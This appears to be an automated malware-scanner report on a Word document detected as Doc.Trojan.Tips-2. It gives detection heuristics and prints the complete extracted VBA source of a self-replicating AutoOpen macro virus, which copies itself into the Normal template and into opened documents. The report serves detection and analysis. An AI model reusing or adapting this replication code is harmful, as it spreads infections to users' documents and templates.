MALICIOUS
200
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample is a malicious Word document containing a legacy WordBasic AutoOpen macro. This macro is designed to execute automatically when the document is opened, indicating an attempt to run arbitrary code. The ClamAV detection 'Doc.Trojan.Tips-2' further confirms its malicious nature.
Heuristics 4
-
ClamAV: Doc.Trojan.Tips-2 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Tips-2
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 3431 bytes |
SHA-256: ba31abec9cdf07cf770a07de4b53a7ff68ad69f67f9595ce80255bfcf3b28bca |
|||
|
Detection
ClamAV:
Doc.Trojan.Tips-2
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "AutoOpen"
Sub AutoOpen()
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Normal.AutoOpen.AutoOpen"
'
' AutoOpen Macro
' Macro created 01/18/99 by BILLGATES FROM MICROSOFT
'
Dim newstr, filenme, oldstr, normal_template As String
Dim o_docname, n_docname As String
Dim source_name, target_name, temp_var As String
Dim cond_name As String
Dim vrbl As Integer
Dim i As Integer
Dim j As Long
Dim cntnr As Object
Dim retval
Set cntnr = MacroContainer
'MsgBox cntnr.Name & " Is the container of this running code", vbCritical
cond_name = cntnr.Name
On Error GoTo err1
newstr = Application.ActiveWindow.Caption
filenme = newstr
newstr = newstr & " " & " "
Application.Caption = "TATA INFOTECH ONLINE Microsoft Word"
oldstr = newstr
Application.ActiveWindow.Caption = newstr
Application.StatusBar = "Remember Microsoft Word is a Product of Nova software systems."
o_docname = Application.ActiveDocument.Path
o_docname = o_docname & "\" & Application.ActiveDocument.Name
' ********* getting the source file name **********
If cond_name = Application.NormalTemplate.Name Then
'MsgBox "Condition One", vbCritical
source_name = Application.NormalTemplate.Path
source_name = source_name & "\" & Application.NormalTemplate.Name
' ********* getting the target file name ***********
target_name = Application.ActiveDocument.Path
target_name = target_name & "\" & Application.ActiveDocument.Name
Else
'MsgBox "Condition Two", vbCritical
source_name = Application.ActiveDocument.Path
source_name = source_name & "\" & Application.ActiveDocument.Name
target_name = Application.NormalTemplate.Path
target_name = target_name & "\" & Application.NormalTemplate.Name
End If
'MsgBox source_name & " " & target_name
'on counter set to four then message and counter = 0
temp_var = System.PrivateProfileString("C:\micros.Ini", "MacroSettings", _
"LastFile")
vrbl = Val(temp_var)
If vrbl = "8" Then
vrbl = 0
System.PrivateProfileString("C:\Micros.Ini", "MacroSettings", _
"LastFile") = Str(vrbl)
Set BLN = Assistant.NewBalloon
With BLN
.Heading = "Tips of the Day"
.BalloonType = msoBalloon
.Mode = msoModeModal
.Icon = msoIconAlert
.Button = msoButtonSetOK
retval = .Show
End With
Application.ActiveWindow.Close
End If
vrbl = vrbl + 1
System.PrivateProfileString("C:\Micros.Ini", "MacroSettings", _
"LastFile") = Str(vrbl)
'MsgBox System.PrivateProfileString("C:\VirSet.Ini", "MacroSettings", _
"LastFile")
normal_template = Application.NormalTemplate.Name
On Error GoTo err0
Application.OrganizerCopy source_name, target_name, "AutoOpen", wdOrganizerObjectProjectItems
Application.OrganizerCopy source_name, target_name, "BILLGATES", wdOrganizerObjectProjectItems
If target_name = normal_template Then
Application.NormalTemplate.Save
End If
Application.ActiveDocument.Save
'MsgBox o_docname
'MsgBox Application.ActiveDocument.Name
err0:
'MsgBox Err.Description
Exit Sub
err1:
End Sub
Attribute VB_Name = "BILLGATES"
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.